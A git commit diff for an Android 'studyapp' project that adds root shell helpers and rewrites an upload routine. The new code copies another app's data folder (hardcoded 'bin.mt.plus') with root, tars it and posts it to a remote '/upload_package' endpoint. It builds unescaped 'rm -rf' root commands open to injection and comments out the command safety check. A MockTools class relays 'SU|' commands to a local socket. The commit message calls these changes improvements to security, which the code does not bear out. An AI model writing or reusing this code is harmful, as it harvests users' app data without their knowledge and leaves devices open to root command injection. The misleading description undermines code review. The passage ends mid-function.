refactor(ShellUtils, TaskUtil): enhance shell execution and streamline file management
- Improved `ShellUtils` with enhanced logging, thread-management, and safety checks for shell command execution. - Streamlined `TaskUtil`'s file operations with safer and more robust shell commands for deletion, copying, and compression. - Replaced Java I/O-based file management in `TaskUtil` with shell-based operations for better performance and security. - Added new helper methods like `delFileSh`, `copyFolderSh`, and `clearUpFileInDst` in `TaskUtil`.
This commit is contained in:
parent
30985a0fa0
commit
7ce7a3d72e
|
@ -1,5 +1,7 @@
|
|||
package com.example.studyapp;
|
||||
|
||||
import static com.example.studyapp.task.TaskUtil.infoUpload;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.app.AlertDialog;
|
||||
import android.net.Uri;
|
||||
|
@ -247,9 +249,10 @@ public class MainActivity extends AppCompatActivity {
|
|||
}
|
||||
executeSingleLogic();
|
||||
TaskUtil.execSaveTask(this,androidId);
|
||||
// if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) {
|
||||
// infoUpload(this,androidId, scriptResult);
|
||||
// }
|
||||
scriptResult = "bin.mt.plus";
|
||||
if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) {
|
||||
infoUpload(this,androidId, scriptResult);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (InterruptedException e) {
|
||||
|
|
|
@ -5,6 +5,8 @@ import android.content.pm.PackageInfo;
|
|||
import android.content.pm.PackageManager;
|
||||
import android.os.Environment;
|
||||
import android.util.Log;
|
||||
import com.example.studyapp.utils.MockTools;
|
||||
import com.example.studyapp.utils.ShellUtils;
|
||||
import com.google.gson.Gson;
|
||||
import com.google.gson.GsonBuilder;
|
||||
import java.io.BufferedOutputStream;
|
||||
|
@ -163,6 +165,7 @@ public class TaskUtil {
|
|||
}
|
||||
|
||||
public static void infoUpload(Context context, String androidId, String packAge) throws IOException {
|
||||
|
||||
Log.i("TaskUtil", "infoUpload called with androidId: " + androidId + ", package: " + packAge);
|
||||
|
||||
if (packAge == null || packAge.isEmpty()) {
|
||||
|
@ -180,20 +183,7 @@ public class TaskUtil {
|
|||
return;
|
||||
}
|
||||
|
||||
PackageInfo packageInfo;
|
||||
try {
|
||||
Log.d("TaskUtil", "Fetching package info for package: " + packAge);
|
||||
packageInfo = context.getPackageManager().getPackageInfo(packAge, 0);
|
||||
if (packageInfo == null) {
|
||||
Log.e("TaskUtil", "Package info not found for package: " + packAge);
|
||||
throw new IllegalStateException("Package info not found: " + packAge);
|
||||
}
|
||||
} catch (PackageManager.NameNotFoundException e) {
|
||||
Log.e("TaskUtil", "Package not found: " + packAge, e);
|
||||
throw new RuntimeException("Package not found: " + packAge, e);
|
||||
}
|
||||
|
||||
String apkSourceDir = packageInfo.applicationInfo.sourceDir;
|
||||
String apkSourceDir = "/storage/emulated/0/Android/data/"+packAge;
|
||||
Log.d("TaskUtil", "APK source directory: " + apkSourceDir);
|
||||
|
||||
File externalDir = context.getExternalFilesDir(null);
|
||||
|
@ -206,22 +196,19 @@ public class TaskUtil {
|
|||
Log.d("TaskUtil", "Output ZIP path: " + outputZipPath);
|
||||
|
||||
File zipFile = new File(outputZipPath);
|
||||
if (zipFile.exists() && !deleteFileSafely(zipFile)) {
|
||||
Log.w("TaskUtil", "Failed to delete old zip file: " + outputZipPath);
|
||||
return;
|
||||
if (zipFile.exists()) {
|
||||
delFileSh(zipFile.getAbsolutePath());
|
||||
}
|
||||
|
||||
File sourceApk = new File(apkSourceDir);
|
||||
File copiedApk = new File(context.getCacheDir(), packAge + "_temp.apk");
|
||||
if (copiedApk.exists() && !deleteFileSafely(copiedApk)) {
|
||||
Log.w("TaskUtil", "Failed to delete old temp APK file: " + copiedApk.getAbsolutePath());
|
||||
return;
|
||||
File copiedDir = new File(context.getCacheDir(), packAge);
|
||||
if (copiedDir.exists()) {
|
||||
delFileSh(copiedDir.getAbsolutePath());
|
||||
}
|
||||
copyFolderSh(apkSourceDir, copiedDir.getAbsolutePath());
|
||||
boolean success = clearUpFileInDst(copiedDir);
|
||||
if (success){
|
||||
// 压缩APK文件
|
||||
zipSh(copiedDir, zipFile);
|
||||
}
|
||||
|
||||
copyFile(sourceApk, copiedApk);
|
||||
|
||||
// 压缩APK文件
|
||||
compressToZip(copiedApk, zipFile, apkSourceDir);
|
||||
|
||||
// 上传压缩文件
|
||||
if (!zipFile.exists()) {
|
||||
|
@ -232,53 +219,141 @@ public class TaskUtil {
|
|||
uploadFile(zipFile);
|
||||
|
||||
// 清理临时文件
|
||||
deleteFileSafely(copiedApk);
|
||||
deleteFileSafely(zipFile);
|
||||
delFileSh(copiedDir.getAbsolutePath());
|
||||
delFileSh(zipFile.getAbsolutePath());
|
||||
}
|
||||
|
||||
private static boolean deleteFileSafely(File file) {
|
||||
if (file.exists()) {
|
||||
return file.delete();
|
||||
public static void delFileSh(String path) {
|
||||
Log.i("TaskUtil", "start delFileSh : " + path);
|
||||
|
||||
// 1. 参数校验
|
||||
if (path == null || path.isEmpty()) {
|
||||
Log.e("TaskUtil", "Invalid or empty path provided.");
|
||||
return;
|
||||
}
|
||||
File file = new File(path);
|
||||
if (!file.exists()) {
|
||||
Log.e("TaskUtil", "File does not exist: " + path);
|
||||
return;
|
||||
}
|
||||
|
||||
// 3. 执行 Shell 命令
|
||||
try {
|
||||
String cmd = "rm -rf " + path;
|
||||
Log.i("TaskUtil", "Attempting to delete file using Shell command.");
|
||||
ShellUtils.execRootCmd(cmd);
|
||||
Log.i("TaskUtil", "File deletion successful for path: " + path);
|
||||
} catch (Exception e) {
|
||||
Log.e("TaskUtil", "Error occurred while deleting file: " + e.getMessage(), e);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
public static boolean copyFolderSh(String oldPath, String newPath) {
|
||||
Log.i("TaskUtil", "start copyFolderSh : " + oldPath + " ; " + newPath);
|
||||
try {
|
||||
// 验证输入路径合法性
|
||||
if (oldPath == null || newPath == null || oldPath.isEmpty() || newPath.isEmpty()) {
|
||||
Log.e("TaskUtil", "Invalid path. oldPath: " + oldPath + ", newPath: " + newPath);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 使用 File API 确保路径处理正确
|
||||
File src = new File(oldPath);
|
||||
File dst = new File(newPath);
|
||||
|
||||
if (!src.exists()) {
|
||||
Log.e("TaskUtil", "Source path does not exist: " + oldPath);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 构造命令(注意 shell 特殊字符的转义)
|
||||
String safeOldPath = src.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
|
||||
String safeNewPath = dst.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
|
||||
String cmd = "cp -r -f \"" + safeOldPath + "\" \"" + safeNewPath + "\"";
|
||||
|
||||
Log.i("TaskUtil", "copyFolderSh cmd: " + cmd);
|
||||
|
||||
// 调用 MockTools 执行
|
||||
String result = ShellUtils.execRootCmdAndGetResult(cmd);
|
||||
if (result == null || result.trim().isEmpty()) {
|
||||
Log.e("TaskUtil", "Command execution failed. Result: " + result);
|
||||
return false;
|
||||
}
|
||||
|
||||
Log.i("TaskUtil", "Command executed successfully: " + result);
|
||||
return true;
|
||||
} catch (Exception e) {
|
||||
Log.e("TaskUtil", "Error occurred during copyFolderSh operation", e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final int BUFFER_SIZE = 1024 * 4;
|
||||
|
||||
private static void copyFile(File src, File dst) throws IOException {
|
||||
Log.d("TaskUtil", "Copying APK file to temp location...");
|
||||
try (FileInputStream inputStream = new FileInputStream(src);
|
||||
FileOutputStream outputStream = new FileOutputStream(dst)) {
|
||||
byte[] buffer = new byte[BUFFER_SIZE];
|
||||
int length;
|
||||
while ((length = inputStream.read(buffer)) > 0) {
|
||||
outputStream.write(buffer, 0, length);
|
||||
private static boolean clearUpFileInDst(File dst) {
|
||||
if (dst.exists()) {
|
||||
File[] files = dst.listFiles();
|
||||
if (files != null && files.length > 0) {
|
||||
for (File f : files) {
|
||||
if (f.isDirectory()) {
|
||||
if (!"cache".equalsIgnoreCase(f.getName())) {
|
||||
// f.delete();
|
||||
delFile(f);
|
||||
} else {
|
||||
Log.i("TaskUtil", "file need keep : " + f.getAbsolutePath());
|
||||
}
|
||||
} else {
|
||||
long fl = f.length();
|
||||
if (fl > 1024 * 1024 * 3) {
|
||||
// f.delete();
|
||||
delFile(f);
|
||||
} else {
|
||||
Log.i("TaskUtil", "file need keep : " + f.getAbsolutePath());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Log.i("TaskUtil", "APK file copied to temp location: " + dst.getAbsolutePath());
|
||||
} catch (IOException e) {
|
||||
Log.e("TaskUtil", "Error while copying APK file", e);
|
||||
throw e;
|
||||
return true ;
|
||||
}
|
||||
return false ;
|
||||
}
|
||||
|
||||
|
||||
|
||||
private static void delFile(File file) {
|
||||
try {
|
||||
String cmd = "rm -rf " + file;
|
||||
Log.i("TaskUtil", "delFile-> cmd:" + cmd);
|
||||
ShellUtils.execRootCmd(cmd);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private static void compressToZip(File src, File dst, String apkSourceDir) throws IOException {
|
||||
Log.d("TaskUtil", "Starting to compress the APK file...");
|
||||
try (FileInputStream fis = new FileInputStream(src);
|
||||
FileOutputStream fos = new FileOutputStream(dst);
|
||||
ZipOutputStream zipOut = new ZipOutputStream(fos)) {
|
||||
|
||||
String entryName = new File(apkSourceDir).getName();
|
||||
zipOut.putNextEntry(new ZipEntry(entryName));
|
||||
byte[] buffer = new byte[BUFFER_SIZE];
|
||||
int bytesRead;
|
||||
while ((bytesRead = fis.read(buffer)) >= 0) {
|
||||
zipOut.write(buffer, 0, bytesRead);
|
||||
public static void zipSh(File copyDir, File zipFile) {
|
||||
try {
|
||||
if (copyDir == null || zipFile == null || !copyDir.exists() || !zipFile.getParentFile().exists()) {
|
||||
throw new IllegalArgumentException("Invalid input directories or files.");
|
||||
}
|
||||
zipOut.closeEntry();
|
||||
Log.i("TaskUtil", "APK file successfully compressed to: " + dst.getAbsolutePath());
|
||||
} catch (IOException e) {
|
||||
Log.e("TaskUtil", "Error during APK file compression", e);
|
||||
throw e;
|
||||
|
||||
// 获取父目录并确保路径合法
|
||||
String parentDir = copyDir.getParentFile().getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
|
||||
String zipFilePath = zipFile.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\"");
|
||||
String copyDirName = copyDir.getName().replace(" ", "\\ ").replace("\"", "\\\"");
|
||||
|
||||
// 构造命令
|
||||
String cmd = "cd " + parentDir + " && tar -zcvf " + zipFilePath + " " + copyDirName;
|
||||
|
||||
Log.i("TaskUtil", "zipSh-> cmd:" + cmd.replace(parentDir, "[REDACTED]"));
|
||||
|
||||
String result = ShellUtils.execRootCmdAndGetResult(cmd);
|
||||
|
||||
if (result == null || result.contains("error")) {
|
||||
throw new IOException("Shell command execution failed: " + result);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e("TaskUtil", "Error in zipSh", e);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -291,11 +366,11 @@ public class TaskUtil {
|
|||
.build();
|
||||
|
||||
Request request = new Request.Builder()
|
||||
.url(BASE_URL + "/tar_info_upload")
|
||||
.url(BASE_URL + "/upload_package")
|
||||
.post(requestBody)
|
||||
.build();
|
||||
|
||||
Log.i("TaskUtil", "Starting file upload to: " + BASE_URL + "/tar_info_upload");
|
||||
Log.i("TaskUtil", "Starting file upload to: " + BASE_URL + "/upload_package");
|
||||
|
||||
try (Response response = okHttpClient.newCall(request).execute()) {
|
||||
ResponseBody body = response.body();
|
||||
|
|
|
@ -0,0 +1,54 @@
|
|||
package com.example.studyapp.utils;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
|
||||
/**
|
||||
* @Time: 2025/6/20 12:01
|
||||
* @Creator: 初屿贤
|
||||
* @File: MockTools
|
||||
* @Project: study.App
|
||||
* @Description:
|
||||
*/
|
||||
public class MockTools {
|
||||
public static String exec(String cmd) {
|
||||
String retString = "";
|
||||
|
||||
// 创建 socket
|
||||
String myCmd = "SU|" + cmd;
|
||||
try (Socket mSocket = new Socket()) {
|
||||
InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 12345);
|
||||
|
||||
// 设置连接超时时间,单位毫秒
|
||||
mSocket.connect(inetSocketAddress, 5000);
|
||||
|
||||
try (BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(mSocket.getOutputStream(), "UTF-8"));
|
||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(mSocket.getInputStream(), "UTF-8"))) {
|
||||
|
||||
bufferedWriter.write(myCmd + "\r\n");
|
||||
bufferedWriter.flush();
|
||||
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
stringBuilder.append(line).append("\n");
|
||||
}
|
||||
retString = stringBuilder.toString();
|
||||
}
|
||||
} catch (IOException e) {
|
||||
// 记录 IO 异常,具体到日志或执行特定的恢复操作
|
||||
e.printStackTrace();
|
||||
} catch (Exception ex) {
|
||||
// 捕获其他异常并合理处理
|
||||
ex.printStackTrace();
|
||||
}
|
||||
return retString;
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -12,301 +12,350 @@ import java.io.InputStreamReader;
|
|||
import java.io.InterruptedIOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public class ShellUtils {
|
||||
|
||||
public static void exec(String cmd) {
|
||||
try {
|
||||
Log.e("ShellUtils", String.format("exec %s", cmd));
|
||||
Process process = Runtime.getRuntime().exec(cmd);
|
||||
process.waitFor();
|
||||
} catch (Exception e) {
|
||||
}
|
||||
public static void exec(String cmd) {
|
||||
try {
|
||||
Log.e("ShellUtils", String.format("exec %s", cmd));
|
||||
Process process = Runtime.getRuntime().exec(cmd);
|
||||
process.waitFor();
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public static int getPid(Process p) {
|
||||
int pid = -1;
|
||||
try {
|
||||
Field f = p.getClass().getDeclaredField("pid");
|
||||
f.setAccessible(true);
|
||||
pid = f.getInt(p);
|
||||
f.setAccessible(false);
|
||||
} catch (Throwable e) {
|
||||
pid = -1;
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
|
||||
public static boolean hasBin(String binName) {
|
||||
// 验证 binName 是否符合规则
|
||||
if (binName == null || binName.isEmpty()) {
|
||||
throw new IllegalArgumentException("Bin name cannot be null or empty");
|
||||
}
|
||||
|
||||
public static int getPid(Process p) {
|
||||
int pid = -1;
|
||||
try {
|
||||
Field f = p.getClass().getDeclaredField("pid");
|
||||
f.setAccessible(true);
|
||||
pid = f.getInt(p);
|
||||
f.setAccessible(false);
|
||||
} catch (Throwable e) {
|
||||
pid = -1;
|
||||
}
|
||||
return pid;
|
||||
for (char c : binName.toCharArray()) {
|
||||
if (!Character.isLetterOrDigit(c) && c != '.' && c != '_' && c != '-') {
|
||||
throw new IllegalArgumentException("Invalid bin name");
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean hasBin(String binName) {
|
||||
// 验证 binName 是否符合规则
|
||||
if (binName == null || binName.isEmpty()) {
|
||||
throw new IllegalArgumentException("Bin name cannot be null or empty");
|
||||
}
|
||||
// 获取 PATH 环境变量
|
||||
String pathEnv = System.getenv("PATH");
|
||||
if (pathEnv == null) {
|
||||
Log.e("hasBin", "PATH environment variable is not available");
|
||||
return false;
|
||||
}
|
||||
|
||||
for (char c : binName.toCharArray()) {
|
||||
if (!Character.isLetterOrDigit(c) && c != '.' && c != '_' && c != '-') {
|
||||
throw new IllegalArgumentException("Invalid bin name");
|
||||
// 使用适合当前系统的路径分隔符分割路径
|
||||
String[] paths = pathEnv.split(File.pathSeparator);
|
||||
for (String path : paths) {
|
||||
File file = new File(path, binName); // 使用 File 构造完整路径
|
||||
try {
|
||||
// 检查文件是否可执行
|
||||
if (file.canExecute()) {
|
||||
return true;
|
||||
}
|
||||
} catch (SecurityException e) {
|
||||
Log.e("hasBin", "Security exception occurred while checking: " + file.getAbsolutePath(), e);
|
||||
}
|
||||
}
|
||||
|
||||
// 如果未找到可执行文件,返回 false
|
||||
return false;
|
||||
}
|
||||
|
||||
public static String execRootCmdAndGetResult(String cmd) {
|
||||
Log.d("ShellUtils", "execRootCmdAndGetResult - Started execution for command: " + cmd);
|
||||
if (cmd == null || cmd.trim().isEmpty()) {
|
||||
Log.e("ShellUtils", "Unsafe or empty command. Aborting execution.");
|
||||
throw new IllegalArgumentException("Unsafe or empty command.");
|
||||
}
|
||||
// if (!isCommandSafe(cmd)) { // 检查命令的合法性
|
||||
// Log.e("ShellUtils", "Detected unsafe command. Aborting execution.");
|
||||
// throw new IllegalArgumentException("Detected unsafe command.");
|
||||
// }
|
||||
|
||||
Process process = null;
|
||||
ExecutorService executor = Executors.newFixedThreadPool(2);
|
||||
|
||||
try {
|
||||
Log.d("ShellUtils", "Determining appropriate shell for execution...");
|
||||
if (hasBin("su")) {
|
||||
Log.d("ShellUtils", "'su' binary found, using 'su' shell.");
|
||||
process = Runtime.getRuntime().exec("su");
|
||||
} else if (hasBin("xu")) {
|
||||
Log.d("ShellUtils", "'xu' binary found, using 'xu' shell.");
|
||||
process = Runtime.getRuntime().exec("xu");
|
||||
} else if (hasBin("vu")) {
|
||||
Log.d("ShellUtils", "'vu' binary found, using 'vu' shell.");
|
||||
process = Runtime.getRuntime().exec("vu");
|
||||
} else {
|
||||
Log.d("ShellUtils", "No specific binary found, using 'sh' shell.");
|
||||
process = Runtime.getRuntime().exec("sh");
|
||||
}
|
||||
|
||||
try (OutputStream os = new BufferedOutputStream(process.getOutputStream());
|
||||
InputStream is = process.getInputStream();
|
||||
InputStream errorStream = process.getErrorStream();
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8));
|
||||
BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorStream, StandardCharsets.UTF_8))) {
|
||||
|
||||
Log.d("ShellUtils", "Starting separate thread to process error stream...");
|
||||
executor.submit(() -> {
|
||||
String line;
|
||||
try {
|
||||
while ((line = errorReader.readLine()) != null) {
|
||||
Log.e("ShellUtils", "Shell Error: " + line);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
Log.e("ShellUtils", "Error while reading process error stream: " + e.getMessage());
|
||||
}
|
||||
});
|
||||
|
||||
Log.d("ShellUtils", "Writing the command to the shell...");
|
||||
os.write((cmd + "\n").getBytes());
|
||||
os.write("exit\n".getBytes());
|
||||
os.flush();
|
||||
Log.d("ShellUtils", "Command written to shell. Waiting for process to complete.");
|
||||
|
||||
StringBuilder output = new StringBuilder();
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
Log.d("ShellUtils", "Shell Output: " + line);
|
||||
output.append(line).append("\n");
|
||||
}
|
||||
|
||||
// 获取 PATH 环境变量
|
||||
String pathEnv = System.getenv("PATH");
|
||||
if (pathEnv == null) {
|
||||
Log.e("hasBin", "PATH environment variable is not available");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 使用适合当前系统的路径分隔符分割路径
|
||||
String[] paths = pathEnv.split(File.pathSeparator);
|
||||
for (String path : paths) {
|
||||
File file = new File(path, binName); // 使用 File 构造完整路径
|
||||
Log.d("ShellUtils", "Awaiting process termination...");
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
if (!process.waitFor(10, TimeUnit.SECONDS)) {
|
||||
Log.e("ShellUtils", "Process execution timed out. Destroying process.");
|
||||
process.destroyForcibly();
|
||||
throw new RuntimeException("Shell command execution timeout.");
|
||||
}
|
||||
} else {
|
||||
Log.d("ShellUtils", "Using manual time tracking method for process termination (API < 26).");
|
||||
long startTime = System.currentTimeMillis();
|
||||
while (true) {
|
||||
try {
|
||||
// 检查文件是否可执行
|
||||
if (file.canExecute()) {
|
||||
return true;
|
||||
}
|
||||
} catch (SecurityException e) {
|
||||
Log.e("hasBin", "Security exception occurred while checking: " + file.getAbsolutePath(), e);
|
||||
}
|
||||
}
|
||||
|
||||
// 如果未找到可执行文件,返回 false
|
||||
return false;
|
||||
}
|
||||
|
||||
public static String execRootCmdAndGetResult(String cmd) {
|
||||
if (cmd == null || cmd.trim().isEmpty()) {
|
||||
Log.e("ShellUtils", "Unsafe or empty command. Aborting execution.");
|
||||
throw new IllegalArgumentException("Unsafe or empty command.");
|
||||
}
|
||||
|
||||
// if (!isCommandSafe(cmd)) { // 检查命令的合法性
|
||||
// throw new IllegalArgumentException("Detected unsafe command.");
|
||||
// }
|
||||
|
||||
Process process = null;
|
||||
try {
|
||||
// 初始化并选择 shell
|
||||
if (hasBin("su")) {
|
||||
process = Runtime.getRuntime().exec("su");
|
||||
} else if (hasBin("xu")) {
|
||||
process = Runtime.getRuntime().exec("xu");
|
||||
} else if (hasBin("vu")) {
|
||||
process = Runtime.getRuntime().exec("vu");
|
||||
} else {
|
||||
process = Runtime.getRuntime().exec("sh");
|
||||
}
|
||||
|
||||
// 使用 try-with-resources 关闭流
|
||||
try (OutputStream os = new BufferedOutputStream(process.getOutputStream());
|
||||
InputStream is = process.getInputStream();
|
||||
InputStream errorStream = process.getErrorStream();
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(is));
|
||||
BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorStream))) {
|
||||
|
||||
// 异步处理错误流
|
||||
Thread errorThread = new Thread(() -> errorReader.lines().forEach(line -> Log.e("ShellUtils", "Shell Error: " + line)));
|
||||
errorThread.start();
|
||||
|
||||
// 写入命令到 shell
|
||||
os.write((cmd + "\n").getBytes());
|
||||
os.write("exit\n".getBytes());
|
||||
os.flush();
|
||||
|
||||
// 等待 process 执行完成
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
if (!process.waitFor(10, TimeUnit.SECONDS)) {
|
||||
process.destroy();
|
||||
throw new RuntimeException("Shell command execution timeout.");
|
||||
}
|
||||
} else {
|
||||
long startTime = System.currentTimeMillis();
|
||||
while (true) {
|
||||
try {
|
||||
process.exitValue();
|
||||
break;
|
||||
} catch (IllegalThreadStateException e) {
|
||||
if (System.currentTimeMillis() - startTime > 10000) { // 10 seconds
|
||||
process.destroy();
|
||||
throw new RuntimeException("Shell command execution timeout.");
|
||||
}
|
||||
Thread.sleep(100); // Sleep briefly before re-checking
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 读取输出流中的结果
|
||||
StringBuilder output = new StringBuilder();
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
output.append(line).append("\n");
|
||||
}
|
||||
return output.toString().trim();
|
||||
}
|
||||
} catch (IOException | InterruptedException e) {
|
||||
Log.e("ShellUtils", "Command execution failed: " + e.getMessage());
|
||||
Thread.currentThread().interrupt(); // 恢复中断状态
|
||||
return "Error: " + e.getMessage();
|
||||
} finally {
|
||||
if (process != null) {
|
||||
process.exitValue();
|
||||
break;
|
||||
} catch (IllegalThreadStateException e) {
|
||||
if (System.currentTimeMillis() - startTime > 10000) { // 10 seconds
|
||||
Log.e("ShellUtils", "Process execution timed out (manual tracking). Destroying process.");
|
||||
process.destroy();
|
||||
throw new RuntimeException("Shell command execution timeout.");
|
||||
}
|
||||
Thread.sleep(100); // Sleep briefly before re-checking
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Log.d("ShellUtils", "Process terminated successfully. Returning result.");
|
||||
return output.toString().trim();
|
||||
}
|
||||
} catch (IOException | InterruptedException e) {
|
||||
Log.e("ShellUtils", "Command execution failed: " + e.getMessage());
|
||||
Thread.currentThread().interrupt();
|
||||
return "Error: " + e.getMessage();
|
||||
} finally {
|
||||
if (process != null) {
|
||||
Log.d("ShellUtils", "Finalizing process. Attempting to destroy it.");
|
||||
process.destroy();
|
||||
}
|
||||
executor.shutdown();
|
||||
Log.d("ShellUtils", "Executor service shut down.");
|
||||
}
|
||||
}
|
||||
|
||||
public static void execRootCmd(String cmd) {
|
||||
// 校验命令是否安全
|
||||
if (!isCommandSafe(cmd)) {
|
||||
Log.e("ShellUtils", "Unsafe command, aborting.");
|
||||
return;
|
||||
}
|
||||
List<String> cmds = new ArrayList<>();
|
||||
cmds.add(cmd);
|
||||
|
||||
// 使用同步锁保护线程安全
|
||||
synchronized (ShellUtils.class) {
|
||||
try {
|
||||
List<String> results = execRootCmds(cmds);
|
||||
// 判断是否需要打印输出,仅用于开发调试阶段
|
||||
for (String result : results) {
|
||||
Log.d("ShellUtils", "Command Result: " + result);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e("ShellUtils", "Unexpected error: ", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static boolean isCommandSafe(String cmd) {
|
||||
// 检查空值和空字符串
|
||||
if (cmd == null || cmd.trim().isEmpty()) {
|
||||
Log.e("ShellUtils", "Rejected command: empty or null value.");
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void execRootCmd(String cmd) {
|
||||
// if (!isCommandSafe(cmd)) {
|
||||
// Log.e("ShellUtils", "Unsafe command, aborting.");
|
||||
// return;
|
||||
// }
|
||||
|
||||
List<String> cmds = new ArrayList<>();
|
||||
cmds.add(cmd);
|
||||
|
||||
try {
|
||||
// 使用同步块确保线程安全
|
||||
synchronized (ShellUtils.class) {
|
||||
List<String> results = execRootCmds(cmds);
|
||||
for (String result : results) {
|
||||
Log.d("ShellUtils", "Command Result: " + result); // 可根据生产环境禁用日志
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e("ShellUtils", "Error executing root command: ", e);
|
||||
}
|
||||
// 检查非法字符
|
||||
if (!cmd.matches("^[a-zA-Z0-9._/:\\-~`'\" *|]+$")) {
|
||||
Log.e("ShellUtils", "Rejected command due to illegal characters: " + cmd);
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean isCommandSafe(String cmd) {
|
||||
// 空和空字符串验证
|
||||
if (cmd == null || cmd.trim().isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 仅允许安全字符
|
||||
if (!cmd.matches("^[a-zA-Z0-9._/:\\- ]+$")) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 添加更多逻辑检查,根据预期命令规则
|
||||
// 例如:禁止多重命令,检查逻辑运算符 "&&" 或 "||"
|
||||
if (cmd.contains("&&") || cmd.contains("||")) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 检查命令长度,避免过长命令用于攻击
|
||||
if (cmd.length() > 500) { // 假定命令应当限制在 500 字符以内
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
// 检查多命令(逻辑运算符限制)
|
||||
if (cmd.contains("&&") || cmd.contains("||")) {
|
||||
Log.d("ShellUtils", "Command contains logical operators.");
|
||||
if (!isExpectedMultiCommand(cmd)) {
|
||||
Log.e("ShellUtils", "Rejected command due to prohibited structure: " + cmd);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> execRootCmds(List<String> cmds) {
|
||||
List<String> results = new ArrayList<>();
|
||||
Process process = null;
|
||||
try {
|
||||
// 初始化 Shell 环境
|
||||
process = hasBin("su") ? Runtime.getRuntime().exec("su") : Runtime.getRuntime().exec("sh");
|
||||
// 路径遍历保护
|
||||
if (cmd.contains("../") || cmd.contains("..\\")) {
|
||||
Log.e("ShellUtils", "Rejected command due to path traversal attempt: " + cmd);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 启动读取线程
|
||||
Process stdProcess = process;
|
||||
Thread stdThread = new Thread(() -> {
|
||||
try (BufferedReader stdReader = new BufferedReader(new InputStreamReader(stdProcess.getInputStream()))) {
|
||||
List<String> localResults = new ArrayList<>();
|
||||
String line;
|
||||
while ((line = stdReader.readLine()) != null) {
|
||||
localResults.add(line);
|
||||
Log.d("ShellUtils", "Stdout: " + line);
|
||||
}
|
||||
synchronized (results) {
|
||||
results.addAll(localResults);
|
||||
}
|
||||
} catch (IOException ioException) {
|
||||
Log.e("ShellUtils", "Error reading stdout", ioException);
|
||||
}
|
||||
});
|
||||
// 命令长度限制
|
||||
if (cmd.startsWith("tar") && cmd.length() > 800) { // 特定命令支持更长长度
|
||||
Log.e("ShellUtils", "Rejected tar command due to excessive length: " + cmd.length());
|
||||
return false;
|
||||
} else if (cmd.length() > 500) {
|
||||
Log.e("ShellUtils", "Rejected command due to excessive length: " + cmd.length());
|
||||
return false;
|
||||
}
|
||||
|
||||
Process finalProcess = process;
|
||||
Thread errThread = new Thread(() -> {
|
||||
try (BufferedReader errReader = new BufferedReader(new InputStreamReader(finalProcess.getErrorStream()))) {
|
||||
String line;
|
||||
while ((line = errReader.readLine()) != null) {
|
||||
Log.e("ShellUtils", "Stderr: " + line);
|
||||
}
|
||||
} catch (IOException ioException) {
|
||||
Log.e("ShellUtils", "Error reading stderr", ioException);
|
||||
}
|
||||
});
|
||||
Log.d("ShellUtils", "Command passed safety checks: " + cmd);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 启动子线程
|
||||
stdThread.start();
|
||||
errThread.start();
|
||||
// 附加方法:检查多命令是否符合预期
|
||||
private static boolean isExpectedMultiCommand(String cmd) {
|
||||
// 判断是否为允许的命令组合,比如 `cd` 或 `tar` 组合命令
|
||||
